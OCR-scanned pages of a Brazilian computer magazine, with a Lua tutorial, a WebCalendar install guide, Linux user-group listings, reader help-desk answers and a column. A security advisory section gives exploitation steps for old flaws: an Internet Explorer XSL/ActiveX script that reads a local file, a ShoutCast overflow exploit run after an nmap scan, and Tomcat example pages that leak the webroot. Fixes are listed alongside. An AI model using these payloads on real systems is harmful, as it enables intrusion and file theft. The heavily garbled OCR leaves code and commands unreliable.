Nao existe uma formatacao
rigida para o cédigo Lua, Isto &, a
linguagem permite comandus em
gualquer coluna do texto, podenda
ocupar diversas linhas. Os
comandos de Lua podem
opcionalmente ser scparados por
ponto ¢ virgula ";'. Comantarios
Iniciam-se com biagos duplos "'
persistem até o final da linha.
A sequir, vocé vera uma
peguena demonstracdo da
linguagem Lua que, na realidade, e o
inicio de um programa de
configuracéo, Ele executa um
programa Lua que define & coleta o
valor de duas variaveis. O arquivo
do programa Lua ficana da
seguinte maneira:

=

-- configuration file for program ~pp'
-- define window sire

width = 200

height = 300

O programa C gue [aria a leitura
do programa escrito em | ua seria
algo coma:

#include <lua.h>
int main (int arge, char *argce) {
lua State *L = lua open(0);
if (lua_dotilell , arge[1]] I= 1)
lua_error(l, "cannnt run
canfiguration fiie"l;
else {
int width, height;
lua getgloballl, "width");
width = lua_tenumber(L, -1}
lua_getglabal(L, "height"}:
height = lua_tonumber(L, -1}
printf("width = %d helght =
%d\n", width, height):
}
lua_close(l );
return O,

}

e ——a
Lua conquistando espaco

Mo Brasi esta linguagem naoc & téo usada come no resto do mundo. Lma
moslra disse & a lista de discussio que existe no site do prejeto, na gual 20%
apenas 008 insoritos sao brasileiros. O sucesso da linguagem omecou em 1996,
guandno wn artigo em uma famosa publicagéo destinada a progremadores, a "Dr
Dobbs", chamava atengdo para esta nova linguagem. Com a divilgagan da
linguagem, programadores espalhades no mundo visitavam o site em busca do
softwaore para download, chegando a atinglr cerca de 50 downloads digrios.

Entre os programadores que realizaram o download do software, estava
Brat Mogilevaky, que & da LucasArts: Ele enviou um e-mail elogiando 2
linguagemn Tempns depais escreveu novaments Informando gue & linguagem
havia sido ucada no game Grim Fandango em seguida nu jogn Escape from
Mankey Island 1V. Nos dois jogos forem utilizadas a linguagem C para realizar
toda a renderizacio dos gréaficos e imagens du jogo. e a Lua para o script da
game, definindo as agbes dos personagens, feitas pelos designes do roteiro
que ndo trabalham em linguagem C.

Atualmente, 850 mais de mi! orojetos gue utilizam esta linguagem. Entre as
ampresas que sdotarem en seus prajeios a Lua, estdo o Incor & a Fabrica Digital
lwww. fabricadigitel.com), Esta ditima, vem deesenvolvendo o software Publigus!,
que foi todo desenvolvido em Lua utilizando CGlLua. que é um interpretador com
uma serie de pacotes gc oxtensdo, da forma gue seu amblente de programagio &
capaz de fornecer diversas funcionalidades para o desenvolvimento de acripts

CGl 2 paginas HTML dindmicas.

A principio, o programa pode
parecer complexn para ler apenas
dais valores. |sso permite. no
entanto, que o programa Lua
posea receber toda a modiflicagao
necessaria, lornando-o mais
complexo sem que haja a
necessidade de se alterar
o programa principal eserito em
C. Par exemple, o usuaric
pode configurar sua janela de
maneira proporcional

-- ganfiguralion file for program " pp’
-- define window size

width = 200

height = width * 3/4

Dasta forma, se u usuaric desejar
allerar as informacgoes de saida do
programa G, naa necessita que ele
seja alterado, basta modificar o
codigo Lua que & respongavel pelas
informagtaes gue sdo coletadas pelo
programa principal. PEM
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Tutorial

O especialista

Eles saubem o que falom. Todo més uma superdica completa, escrita por um
profissional da drea, mostrando uma solucao para seus problemas

WebCalenda

Aprenda a instalar em seu servidor Web a aplicagdo WebCalendar, que é uma agenda
de compromissos completa e pode ser compartilhado com seu grupo de trabalho

Por Rubens Queiroz de Almeida
m aplicativo livre
extremanente 'Jtil. 2m uso no

u Canlro de Compulagéo da
Unicamp & ha alguns anos, & o
WehCalendar, de autaria de Maorang
Zou, professor da Universidade de
MNevada, Reno, EUA,

QO software, distribuide sob a
licenga GPL, possui uma grande
quantidade de recursos. Permite a

criagao de agendas publicas e
rescrvadas, gerenciadores de

instalacao

O WebCalendar reguer a
linguagarn Perl 5 ou superior & um
servidor Web, Em sistemas
GMNLULALinux isto nda representa um
empecilho, pois estas facilidades sao
padric cm grande parte das
distribuigdes mais conhecidas, O
download pode ser leilo a parlh do
E"I‘|E|(:"I‘I‘P'f.'.._"' W ma utexas.edu

mzatl/ webCal/. O software &
distribuido nos formatos zip o tar
compactado (tar.gz). Sistemas

Windows sao tambem suportadaos.
O autor, para facilitar a instalagao
em ambiente Microsoft, distribui o
software em conjunto com o
IndigoPerl, que sde os binarios do
Perl 5.8 integrados & uim servidor
web Apache. Tudo em um dnico
arquivo, a que facilita
consideravelmente a instalagdo.

A instalacdo @ bastante simples e
S2M sSUrprasds. 0 Rrocesso d‘d
instalagao foi refinado
cansideravelmente ao longo das

diversas versces, Baste ler com

tarefas, agendamento de

) atengdo as Iinstrucdes.

¢ B

reunides, lembreles e
visualizagao de
compromissos, alem da
combinagao de multiplos
calenddrios para
determinagdo do melhor
horario para compromissos
conjuntos. Enfim, a lista & i
hastante grande. :
Quem guiser experimentar 1
antes de Instalar, pode usar a :
versao para demonstragao,
yue pode ser facilmenle
acessada a partir de
htto:/ /www.ma.utexas.edu,/
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necessario possuir privilégios de
superusuario (root) MNeste
artiga serd abardada apenas

a instalagdo em um sistema
GNU/ Linux,

A segulr, passamos a
dascrever um processo Lipico de
instalagdo. Tentamos olferece
uma ahordagem genérica, dado
que cada instalagdo ira
depender, em grande parte, das
| praferéncias pessoais e do tipo
ﬂ de sislema empregado.

Al ]

mzou/webCal/try. html,

Y

O WebCalendar oferece suporte a treze idiomas
inclusive para a lingua portuguesa usada no Brasil

.

| PC€ MasTer

Descompactar e extrair
05 binarios:



gzip -dc webCal-version.tgz | tar
af -

Apos descompactar o arquivo
entre na diretdério criado. Para isso,
use o comando:

cd webCal*.* *

Leia com atengac c arguivo

install.p! para realizar as
alteragdes necessarias, refletindo
as suas preferéncias. Atencao: leia
com atengao as instruches
contidas neste arquivo. A meior
parte dos erros de instalagdo
decorre da Interpretacio arrbnea
dag instrugbes. Se ludo der errado,
releia este arquiva para tentar
determinar o que ocorreu.

Exccute o arguive install.pl, com
Perl (o sufixo .pl normalmenle
indica arquivos na linguagem Perl):

perl install.pl

Apds este passo, o sistema
exibird diversas mensagens
informando o gue esla acontendo.
Ao final do processo, leia com
cuidado as mensagens na tela.
Preste bastante atengdo nas
seguintes linhas:

Pleass configure your webserver to
use the following CGl directories
Server=valteire.dph.net.
cgidir=/home/httpd/cgi-bin/weal
Server—veitaire.idph.net,
cgldir=/home/httpd/eqi-binweal
cyiname=/wcal/weal.pl

Estas linhas indicam as
modificagoes que devem ser feitas no
arguivo de configuracac do servidor
Wehb. Para o servidur Apache, isto
significa que devemos inserir as
seguintes linhas no arquivo httpd,conf:

ScriptAlias /weal/  '/home/httpd
/cal-bin/weal /"

A linha acima nos permite acessar

o calendario através de uma

URL come http:/ A voltaire.
idph.net Sweal, sem

necessidade de especificar v
direldrio cgi-bin. Esta facilidade &
confliguravel e ira depender das
preferéncias de quem estiver
instalando o sistema.

Um pequenc problema paesivel
na instalagéao é a proibigao de uso
de links simbdlices no diretdrio
cgi-bin. O processo de instalagao
cria links simbolicos para os
executaveis do sistema. Este
problema é facil de identificar, basta
consultar os logs de erro do apache.
Esles registros de erro ficam no
diretério fvar/log/httpd/
error_log. Investigando este arguivo
descchbre se a mensagem:

[error] [client 200.200.200.20]
Syrmbolic link nat allowed: /hame/
httpd/cgi-bin/weal Aweal.pl

Para resolver este problema, &
prcciso inserir a linha:

Options ExecCGl FollowSyml inks

Na definigac do diretéric CGl,
a configuragdc padrée do Apache,
a seguinte:

<Directary "/ hamehttpd/cgi-bin">
AllowOverride None
Options ExecCGl
Order allow,deny
Allow from all
< /Directory=

Com as alteragoes necessarias,
fica-se com:

< Directory /home/hitpd,fcgl-bin*=
AllowQverride None
Options ExecCGl FollowSymLinks
Order allow,deny
Allow from all

< /Directory >

Feito isto, & preciso reiniciar o
servidor web. Em um siatema GNU/
Linux padrdo. isto é feito como abalxo:

# ps -ef | grep hitpd

root 19487 1 01454 ¢

00:00:00 Jusr/sbin/httpd -DS5L
robody 723917 19487 D18:27 7
U0-00:00 Ausr/shin/httpd -DSSL
nobody 23913 19487 0 18:27 ?
00:00:00 /usr/shin/httpd -DSSL
nobody 23914 12487 0 18:27 7
00:00:00 Ausi/sbin/httpd -DS5L
nobody 23815 18487 018:27 7
00:00:00 fusr/shin/httpd -DSSL

E preciso enviar um sinal ao
processo pal. Em nosso exemplo,
esle processo € aguele cujo dono & o
usuario raot, identificado peio
nimero 19487, O sinal é enviado
através do comande Kill, como
exemplificade a seguir:

# kill -1 19487

Se tudo der certo, as linhas finais
do arquivo Avar/log/httpdserror_log
irdo Indicar gue o sistema recebeu o
ginal @ esta funcicnando com as
novas configuragoes:

[notice] SIGHUP received.
Attempting to restart

[notice] Apache/1.2.22 (Lnix)
PHP/4.1.1 mod_ssl/2 85
OpenSSl,0.9.6a configurad --
resuming normal operations
[notice]l Accept mutex: sysveem
(Default: sysveam)

Pronto, agora & usar o
sistema para se convencer,
como muitas pessoas pelo mundo
afora, que a vida fica bem melhor
guando organizada pelo
WebCalendar, PEM

Ficha do autor

Rubens Queiroz de
Almeida, Unicamp.
Gerente ge Informatica

Contato: gquelroziiiunicamp.br
woan dicas-| unigamp.br

-
.
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Confira as principais falhas de seguranga de dltimo periodo e

aprenda como resolvé-las. Os arquivos comentados com as
solugbes estdo em www.europanet.com.br/pcmaster/edicaoé2

Por Domingo M. Montanaro

internet Explorer

O Internet Explorer possui falhas de
seguranga na Active Scripting. Esta
falha demanstra uma maneira de
habilitar o Active Scnpting, mesma
quando ele esta desabilitado em
tados os niveis de seguranca
Habilitando-o, & possivel ao atacante
utilizar esta falha com autra falha do
Active Scripting em especial, para
conseguir privilégios elevados na
mayuina de destino. O problema esta
nas "folhas de estilo" do XML que
padern conter Active Seripting.

Como Explorar:

E necessario criar 3 amuivos:

¥ - teste.eml
1 - teate.xml
3 - teste.xsl|

Insira no arguivo Lleste.xmil;

<Txml version="1.0""7>
<Txml-stylesheet type="text/xs!'
href="teste.xsl' 7>

=doc>

slyle

< /dogs

Centro do arquiva teste.eml, ingira:

<|FRAME

SRC="Endereco do documento tes
te xml"= < /IFRAME =

Substitua

"Endereco da_documento XML xml"
pelo enderego de algum local na
Internet gue vocs tenha j& colocado
o documento teste.xml.

£ dentro do amquivo teste.xsl, insira:

<xgl:stylesheet

xmingxsl="http./ wwww3.org/TR/
WD-xsl'=

<xslseript>

<|[CDATA]

a=new ActivexObject(htmifile’):
a.open();

awrite("<htrml> < body > Teste< /bo
dy=<Mtmi=>");

a.closel):

V=new
ActiveXObject"MSSeript Contral Ser
iptControl,17;
v.Language="VBScript";
veval(MsgBax ["Tesle de

VRESeript" 65,"VBSCRIPTYY,
x=v.eval(GetObject("C: /ravista.txt’,
"htmifile)Y:

v.aval(MegBox (Teste"65, Teste™));
a.location="aboul:Contetdu do
arquivo revista bt

<BR="+x bodyinnerHTML;

1>

</¥alseript=

< /wslstyleshest>

Apds colocar esles (rés documentos
em algum diretorio que seja acessadao
por um Yveb Server, crie um arguivo
o:\revista.txt © acessa toste.oml,

Como Proteger:

O problema & no WSH (Windows
Seripting Host). Faca o download da
Service Pack ou |nstale a versdo 5.5
do Windows Scripting Host, Acesse:
http:/ /windowsupdate.microscft.com.

"




Descrigao:

O ShoutCast da NullSoft (mesmo
produtor do Winamp) é um servidor
de streaming para audio. lsso
possibilita que autras pessoas
escitem o que vocé esta owvindo no
winemp do seu computador, como se
fosse uma radio. Sua versdo 1.8.9,
contém buffers ndo verificados, o
que possibilita o overflow dos
mesmos, obtendo privilégios de
administrador na magquina,

Como Explorar:

Verifique se a maguina-alvo
possui 0 ShoutCast rodanda em
sua porta padrao, no caso a B0O1,
Para issa, utilize alguma aplicagao
de varredura de portas, como o
nmap: nmap -v -0 -p8001
Enderego_IP (com o Switch -O
vocé lenla visualizar o sistema
operacional da maquina-alva).
Uma vez verificado. compile o
programa mayday-linux.c

com o comando:

gee -0 shoutcast mayday-linue.c
./shoutcast Enderego_IP

Como Proteger:

Baixe diretamenle da NullSoft

a versao 1.8.12, a qual & conseque
resalver o prablema,

i

nCat Java Server

Descricao:

0 Apache TomCal & um servidor Java
Open Source. Quanta a instalacan é
feita, ele instala arquivos de exemplos
que, mesma guando requisitados,
gem argumentos adicionais, exibem

o diretorio do webroot. A
wulnerabilidade pode luncionar na
porta 8080, como na porta BO,
dependendo da canfiguragao,

Como Explorar:
Efetue uma requisico como esta;

http://Servidor Weh/test/jsp/
pagelnfo.jsp

Vocé verd uma pagina de salda assim:
L%

Error; 500

Locatlon: /test/|sp/pagelnfo.jsp
Intemal Serviet Error:

--Descrigaa do erro-- (Aqui vBm uma
extensa descrigho do erro com a
localizagio do WebRoot),

Arguivos a serem requisilados que
580 "wulneraveis' ;

/teat/|sp/pagelmport2.jsp
/test/jsp/buffer! jap
/tast/jsp/buffer2.|sp
/tast/jep/bufferd.jsp
/lest/jsp/bulferd. jsp
/test/|sp/comments jsp
/test/|sp/pagelnvalid.jsp
/test/jsp/pagelsErrorPage. jsp
/test/|sp/pagelsThreadSafe.jsp
/test/jsp/pagelanguage jsp
/test/jsp/pageSession. jsp
/test/jsp/declaration/
IntegerOverflow.|sp

Como Proteger:

Delele o diretdrio (est.

Descricao:

0 Oracle Net Listener contém uma
talha de huffer overflow que
permite & um atacante ganhar
acesso com privilégiocs de
administrador numa méaguina
rodando Oracle 9i. O Net Listener
tica com seu listen na porta 1521,
escutando por pacotes TNS,

Um legitima pacote TNS seria:

(DESCRIPTION=(ADDRESS=
(PROTOCOL=TCP)(HOST=x.x.x.x)
(PORT=1521))(CONNECT _DATA=
(SERVICE_NAME =oracle.revistapc
master.com.br)

(CID=
(PROGRAM=X:\\ORACLE\\
iSuites \\BINSNSOQLPLUSW EXE)
(HOST=qualquer{USER=qualquer
m

Quando este pacote é forjado, com o
cunteddo de SERVICE NAME muito
longo, ele tenta gravar no arquiva de
lag o erro. Neste procedimento, é
possivel gravar em enderegos de
stack, os quals sfo resgatados pelo
ratorno do stack antes de gravar no
log. Assim, @ possivel execular um
comando na maguina, antes de
gravar no log de Erros, deixando a
detecgao bem complicada.

Como Explorar:

Uma vez gue esta & uma falha
muito destrutiva, ndo iremos
publicar como explorar esta falha,

Como Proteger:
Instale o Fix nGmero 2367681, &
disponivel no site da Oracle

A
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Comunidade Linux

onverse sobre Linux com
oulros usuarios. Sao
milhares espalhados em
diversos grupos. Todos

eles com um interesse em comum:

aumentar o seu conhecimento
sobre o sistema operacional
gue vern conguistando mais
espago a cada dia.

E para que vocé possa fazer
parte deste universo, publicamos
a seguir uma lista de vérios
qrupos de usuarios Linux
brasileiros, Basta escolher um
deles e fazer o cadastro para ficar
por dentro das Gltimas novidades.

Linux Hangar
www.linuxhangar.hpg.com.br

Linux - Pard
el inus-paLorg.

2 - HHHMHHQ
Comlinux - Comunidade Linux
do Maranhéo

wnws crinbionae. ufmea. e

3 - CEARA

Universidade Federal do
ufrn br/servicos,lista dispuss himl

BmpodaUmidulLIlmdn
Rio Grande do Norte

e [inuxpotiguar tsx.org

wwwglugpb.ojb.nat

Linux-Sever :
hitp://linux.sathi.com.br

=
‘D
©
S
0
"
-
-
=
B
&

do Parh
br.groupe:yahso.cem/greup/linuxpaidegua

Limu- IC‘.! winnd. Ibeuce.ret/iste linux.ce
4 - RIO GHAHI!H D%RHBI"E

s
GL = Grupo de Usudrios GNU

Fami

SERVUX - Servidores Linux

wwww.servux.cjb.net

Seguranga no Conectiva Linux
distro.concctiva.com.br/mailman/
listinfo/seguranca

AnQ2001
www,ano2001.com

Prog-BR - Programagéo Linux
listas.conectiva.com.br/listas/

LDP-BR Projeto de
Documentagéo Linux
Idp br.conectiva.com.br

JustLinux
groups.yahoo.com/group/justlinux

7 - SERGIPE
Linux pe
linux-ee-eubscribaifagroups. com

Linux-SE ano de Usudirios

Linux de Sergipe
come 1o/ linu-se

B - BAHIA
GULBA . Grupo de Usudrios
Linux da Bahia

gulba.emps|.com.br

Clube de Usuérios

Linux World Bahia

wenwy, Geoci s oo/ E uneka./
Gold/ 2395

9 - MINAS GERAIS
nux
waniwlinuxbh.cjb.nat

Grupo de Usuarios GNLI/
Linux de Juiz de Fora
i el cicm. b

BLUG - BHZ Linux Users Group
blug,tex,org

BHNET - Linux
wanwid Bhnet.com. br/liota: linux

LinuxBQ - Barbacana Quarida
S

WL lin

GUS
gus-br.linuxmag.com.br

Grupo de Discusséo Linux

groups.yahoo.com/group/linux-board

Grupo de Usudrios Linux do
\ale do Taquari
mercurio.fates. tche br/linux/

MNosso Grupo - Sistemas
wWww.nossogrupo.com.br/
canais.asp?canal=275

Linuxabc
linuxabe-subscribe@egroups.com

Linux-br
linux-hr.conectiva.com.br

Cantro de Treinamento o
Servigoa Linux de MG
wav comunldadalinue.com. br

GNUNLInuxMG
irc.brogire.net  #LInUKMG

m :srinrru SANTO
de Usudirios Linux do
rlho Santo
v, linLxes.com.br

Grupo de Usudrios Linux - ES

sanve il alias dac ~ i

11 - RIO DE JANEIRO
Linux Resande
linux-resende-subscribe@egroups.com

Grupo da Cidade de Trés Rioa
W NOBSCGIUpa,com b
grugb.aspgrupa= 7863

Gral- Grupe de Estudos Avangados Linux
gral.stat.com.br

GULSF - Grupo de Usuérios Linux
da Regliio Sul Fluminensa
v IuKbrinte

Grupo de Usudrice GNLU/
inux de Volta Redonda
wninwar pg. com.br
liruerEieg zom br

— Grupo de Usuérios Slackware



v Participe de um grupo de
usudrios Linux. No Brasil
existem dezenas de grupos
onde vocé consegue fracar
/\ experiéncias e saber mais
sobre o sistema

Meu Grupo Sistemas Operacionais  Linux - Alta Disponibilidade LinuxBQ - Linux ao alcance de todos!
www.meugrupo.com.br/SubCatego  linux-ha-br-subscribe@bazar. www.linuxbg.cjb.net
ria.cfm?ID_SubCategoria=3 conectiva.com.br

Cipsga - Comité de Incentivo &
LinuxAll.org Grupos de usuérios de Linux do Produgéo de Software Gnu e
www.linuxall.org - Edson Syguedomi  Norte/Nordeste Alternativo
webmaster@linuxall.org www.nordestelinux.rg3.net www.cipsga.org.br

StarNux
www.stanux.hpg.com.br

GRUPO DO MES

Linux na Rede
www.linuxnarede.hpg.com.br

M GRUPO?
o LIt rit: sas

A e e, b
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Aproveite este espaco e esclareca suas dévidas técnicas sobre Linux,
Windows e Informdtica em geral com os especialistas da PC Master

Restaurar Registros
Ao inicializar meu computador com
Windows 98, ele apresentava a
sequinte mensagem: "O Windows
detectou um erra de Registro/
configuracac”, Tenlel varias vezes, mas
nada de iniciar. Hetormatei o disco
rigido e reinstalel tudo. Este fol o

COPY SYSTEM.DAQ SYSTEM.DAT
Depois de restaurar o backup dos
arquivos de registro, & sd reiniciar o
micro para que o problema seja
resolvide. Entrotanto, caso mesmo
assim o problema néo for resolvido,

Distribuigbes tém essa versac como
padrdo — 0 que € © seu casy —
possivel usa-lo sem problemas
Para isso, entre no site da Motorola
(www motorola.com/collateral /SMS6_
DRIVERS htmi) e faga o download do
driver. Ele esta em rpm versac
4.0, Para instalar, use:

procedimento correto?
Carlos Alberte de Oliveira
Via Intermet

Com este procedimento,
apesar do problema ter sido
carrigido, todo o contetdo do
Windows foi perdido. O erro
apresentado esta relacionadu au
registro do seu Windows, que
estava cormompicdo. Fsse
problema pode ter vérias origens
e, go invés de reformatar o disco
rigido, vocé poderia sequir os
seguintes passos:

Para comegar, verifique se

i

FLTE
¢

it

HTHB P

Lo

i

No diretério-raiz do Windows vocd encontra
copias de seguranca dos arquivos de registro

# rpm -ivh sm56-85.1-
10.i386.mm

Sera criado o diretorio em
Zusr/local fsmS6, onde estdo
instalaclas as fontes do
madulo do modem am56, bem
como O programa smbesetup.

Este programa é ©
encarregado de [azer algumas
checagens no sistema, como
ver qual é a versao do kermel
e como trabalha o modprobe.
Também faz um link com o
Jdev/modem, para o
—  disposilivo criado pela

nao ha virus em seu computador, -
dando boot com um disquete de

boot previamente preparado @ com um
antivirus nele.

O problema pode ter ocorrido
tarmbém por alguma outra falha na
sisterma e, para caonsertar isso, 0
Windows costuma manter uma copia

de backup de seus arquives de registro,

Estes arquivos sdo: USER.DAT e
SYSTEM.DAT. Qs arquivos de backup
chamam-se USER.DAD e :
SYSTEM.DAOQ. Basta vocé entrar com
0s seguintes comandas no prompt:

CDA\WINDOWS

ATTRIB *.DAT -R -5 -4 -H
COPY USERDAD USER.DAT

| PC Masrer

basta apagar 05 arquivos de registro
(DEL USER.DAT e DEL SYSTEM.DAT,
gxecutando antes o camando

ATTRIB *.DAT -R -8 -4-H) e

reinstalar o Windaows.

WinModem
Tenho um Winmodem Motorola
Sk 56 e me Informaram gue & possivel
instala-lo no meu Linux Mandrake B 2.
Como faco isso?
Bruno Santana
Via Internet

A Motorola lzncou o drive apenas
para kemel 2 4 x e j& que a maioria das

programa; /dev,/smat, assim
camo configura o arquivo /lib/
modules, 2.4.x/modules.dep e /etc/
modules.conf. Digite:

modprobe sm56

Feito fsso, ndo deve retornar
nenhuma mensagem de erro.

Com o comando lsmod, vocéd pode
observar quais os modulos que
estao carregados.

[rant@localhoat mozartl# lsmod
Module Size Used by
ppp_async 6160 O (autoclean)
ppp_generic 15868 0 (autoclean)



[ppp_async]

em56 1191040 O (autoclean) ------
---> modulo da Motorola

st mod 13852 1 (autoclean)
viaBPeos_audio 16H00 0

soundeore 3504 2 [viabZexex audiol
acd/_codec BEB8 0 [viaB2exxx_audiol
nlg_isoBB59-1 2848 1 (autoclean)
nls_cp850 3584 1 (autoclean)

vial 9040 1 (autoclean)

fat 30720 0 (autoclean) [vkat]
supermaunt 32496 4 (autoclean)
fdomain 12360 1

sd_mod 11048 0 (unused)
scsi_mod 86036 3 [sr mod Idomain
sd_mod]

Fronto. O modem estd instalado o
pronto para funcionar,

Chipset
Instalei o Windows 898 e percebi que
a configuragao do disco rigide estd com

escobrindo o

yaco usado no HD

#cff mostra awwﬁmsmhim.
# ol -m - meﬂmoaapapu#mm '

problemas (sinal de r s
exclamagdo amarelo no |
Gerenclador de 7 T
Dispositivos). Ja tentel L e e E
instalar o driver que i g o AR
acompanha a bl """""' oo
placa-mae, mas nao i .Inﬁm-mm - ST
regolveu o proklema, - Bt e - 19 4
O que fago? e ot ndrmasicn barvces B3] 7m0 (o
Lucas Augusto j AR : 3
Via Internet il ; ;

O problema deve HiE A it Nt T e

estar na configuragdo Lam,.um.l

do chipset da
placa-méae, gue nao
esta senco reconheciola \

0O Windows XP n&o permite que vocé remova
alguns componentes e programas por padréo

pelo Windows 98, Com

guase toda g certeza, existe um item
Identificado apenas como "PCI Bridge
em 'Qulros Disposilives' do
Gerenciador de Dispositivas (lcone
Sistema do Painel de Contrala)

Vocé devera atualizar o driver do
chipset. dando um duplo clique nesse
item e escolhendo a opgéo de Atualizar
Driver, Use o disquete que acompanhia
a placa-mée (o driver esta no diretorio
SWINGS au \WINGX, au entdo escaolha
o driver da lista do proprio Windows
98). Para [sso, vocé precisara saber
gual & o chipset de sua placa-mdae.

Apds o sistema identificar
corretamente o chipset (vocé
podera conferir isso em "Diapositivos
do Sistema", que passard a ter
especificado o chipset da
placa-mae), provavelmente vocé
conseguira resolver o problema ou
removendn os drivers problematicos
{isso deve ser feito no Modo de
Seguranga) ou - a opgdo mais
fdell - clicande sabre "Controlador
padrio Dual PCI| IDE", escolhendo a
opgac de Atualizar Drivers.

Indique os drivers corretas, da
preferéncia usando o disquete que
acompanha a placa mae. No caso
e algumas placas-mée (como as
Soyw), vued precisa execular um
arquivo presenle no disquete de
instalacéo a fim de atualizar o
Windows com os drivers do chipset e
de disco rigide.

Windows Messenger no XP
Inslalei © Windows XF em meu
computador, mas néo utilize o Windows

Messenger e nao encontro a apgao
para remover este item do meu
Windows. Existe alguma forma de sc
remover este software?
Eduardo César Silveira
WVia Internet

Muita gente reclama que o
Windows AP ndo permite desinstalar
programas, incluindo o Windows
Messenger e o Pinball. Ma realidade, a
desinstalacao destes programas é
possivel e bastante simples de ser feita:

Com o notepad, abra o arguivo
\Windowshinfsysoc.inf

Na secdo Components, remova a

palavra hide dos componentes que
voeé doseja desinstalar - por exemplo,
se vooé quiser desinstalar o Windows
Messenger, a linha original:

mamsgs=msgrocm.dll, OcEntry,msmsg
a.infhide.7

ficard assim:

msmsgs = msgrocm.dll OcEntry,msmsg
s.inf,,7

Salve o arquivo e os componentes
escolhidos poderdo ser »
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Cartas

desinstalados normalments via
Control Panel! (Painel de
Conlrole) = Adicionar/
Remover Programas.

A primeira palavra em cada
linha indica o aplicativo (Pinball,
MSWordPad) e, para cada uma
delas, voce deve remover a
palavra hide para gue o
aplicativo em questan pnssa ser
remaovido da WinAP

Servidor SSH

Queria instalar urn servidor

Recuperando file
systems corrompidos
Apds uma queda de energia
meu |inux ndo consegue carregar
o sistema corretamente, e surge
uma mensagem dizendo que deve
ser executado o fsck
manualmenle, O que é isso e
como resolvo esse problema’?
Juliana Sampaio de Oliveira
Via Internet

Cluando o computador 8
tesligado virias veses sem ser

SSH. encontrel o sottware
ssh-2.4.0.targz, mas nfo sei ¢

Com o servigo de SSH instalado vocé pode se
conectar ao servidor remotamente com seguranga
&

usaclo o shutdwown ou halt, o
sistema de arguivas val se

que fazer com ele. Por favor, \
vocts podem ajudar a Instalar
este servidor em meu computador?
Paule Carlos
Via Internet

Ja com o software ssh-2.4.0.tar.qz
gravado em seu computadur,
descompacte 0 arquivo, desia forma:

# tar -xvzt ssh-2.4.0 targr

Ele ird criar um diretdrio chamado
gssh-2.1.0. Entre neste diretdrio assim:

# cd ssh-2.4.0

No diretorio do ssh. cxcoute cstes

™ pomeacan {7 e memane

ST e s Y]

Screenshot do Mes

gy
salragls Eits Mar |r Ewofn Cevtarmankas Dratiumgle Jansds Aol

g sut ﬁ LiIFuRs: 505 Limur B0 Sandes E(JE-ma{ i Chifleorior "HMI Hutroad - Mtz gl kel 5

comandos para fazer a instalacao:

# /Jeanfigure
# make
# make install

A instalagan estd completa. Os
binarios estao em Juar/local/shin, & os
arquivos de configuragao em Jetc/ssh2,

Para que o sch seja sempre
executado na inicializagéo, ative-o para
rodar em Jetc/redselocal queé o
arquivo de inicializacdo, atribuindo a
seguinte (inha:

/usr/local/shin/sshd2

corrompendc até um ponto que
ele ndo consegue mals fazer o
boot corretamente. Para recuperar esse
sisierpa de arnguivos, reinicke o
camputador & proceda desse mado:

Entre na partigac corrompida no
LILO toot e observe se o sistema
chega a um panto onde ele pede para
pressionar Cul-D, ou digitar a senha
do usudrio. Se ele chegar até esse
ponta, informe a senha e execute o
sequinte comanao.

fack.ext2 /dev/hdwe:

Onde hdxx € a sua particdo
carmmpida. Siga as instrugoes exibidas e
tenha seu sistema recupcrado. PCM

Lulz Costa

costaluizfmsn.com
Sisbama:

SuSe Linux 8.0
KDE 3.0

Maslre voce tambhém a cara do seu PC.
Envie a captura do scu Desktop para
helpline(@ europanet.com.br, & apareca
agui na proxima edigio da PC Master.

Se vocé tem alguma duvida sobre
informatica, entre em contato com os
nnssas especialistas atraves do
e-mail helpline@europanet.com.br. As
perguntas mais pertinentes serao
respondidas na proxima PC Master




Na Revista dos Curiosos,
ate a paixao tem explicacao

Televisao * Esportes * Invencoes * Historia * Carros
Datas e Festas * Clenaas * Musma * Quadrmhos

.europanet.com.br

ns wn.i.JJd € o JJ..U.MJF -

AR "
Confidencial
Vocé nem imagina o
que rola nos bastidores
dos concursos de Miss

Ahque dos Clones
Que todas as curiosidades
estejam com vocé na nova
aventura de Star Wars!

Sexo x Religiao
Saiba por que a Igreja

Catolica ainda proibe os
padres de se casarem

(EDITORA)
Também pelo telefone: | *5 o
*

7 ' (11) 3038-5050 £ 13
d nas bancas! _EEL
o) www.europanet.com. br | E”“o?‘f‘.
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Crénica

O

esafio & cuidar dos filhos dos
D outros. Um desafio que requer

extrema paciéncia e habilidade.
Paciéncia, sim. pois por mais que se
goste da crianga. ndc ¢ ela o centro
do seu unlverso. Habilidade, claro, @
extrema, puis ndu baslasse o desafio
gue & cuidar de uma crianga, ainda &
preciso domina-la sem ter autoridade
para tal, Escrevo com o conhecimento
de causa de quem |4 culdou dos
filhos de muila gente. Nao das
criangas, & claro — nem tenho
paciéncia para tal — mas de um
outra tipo de filho. Um fitho
chamado idéia.

Apegamo-nos a nossas
Idélas como a filhos.
Apaixonados pais,
transformamos a idé&ia em
projeto e, por vezes, a
executamos nos mesmos, certos
de gue s assim serd possivel
realizé-la. Cegus, pur definigac,
insistimos mesmao diante das
maiores dificuldades e, em nome
do amaor de pail, somos capazes
dos maiores sacrificios.

No mundo real, entretanto,
raramenle somos capazes de
executar nossas idéias
sozinhos. E al surge o inevitavel
canflitn. Come pragramadar, ja
executel um numera suficiente
de Idéias doe outros para
concluir gue nunca é facil. O
problema comecga j& na
apresentacao, afinal o pai
eatd tao envolvido com seu
proprio filho, que muitas
vezes néo @ capaz de
entender como vocé — que
agora & uma extensao da

Filhos dos

UTROS

mesma coisa. Concluséo: o
programador, vencido pela cansago,
tomecga o programa sem ter a exata
idéia do que esta fazendo.

Se entender antes como o filho
deve ser criado j4 @ dificil, durante o
processo entao, chega a ser doloroso,
0 pal, ansicso, ndo compreende a
falta de familiaridade do programador
com a crianga e, apalxonado, exige
mais sacrificio. Interfere na execugio
da idéia, com au sem mérito, um

idéia — ainda nao penscu a

As dificuldades e
obstaculos de um
programador ao lidar
com a cria alheia

sem-numera de veres @ nan rarn
guesticna a propria autoridade do
programador em partes do processo
que nao serlam discutivais.

Entender onde a auloridade de um
acaba e a do outro comega &, alids, o
mais sério dos problemas, e j o
enfrentel por ambos os angulos
possiveis. Como pal, em meio a alegria
de executar @ minha propriz idéia, ja
fui confrontado com as alteragoes
requeridas por outros membros da

equipe — nao programadores -

i visando objetivos que para mim

nao eram prioritarios ou
mesmo necessarios. Como
"bab&", ousei questionar o
mérita de muitas idéias que
me foram apresentadas,
assim come ja fiz programas
gue conslderel totalmente
absurdos, tenlando alender
ac amor do pai. Cheguei
inclusive a recusar certos
projetos, com medo de um
conflito insolivel,

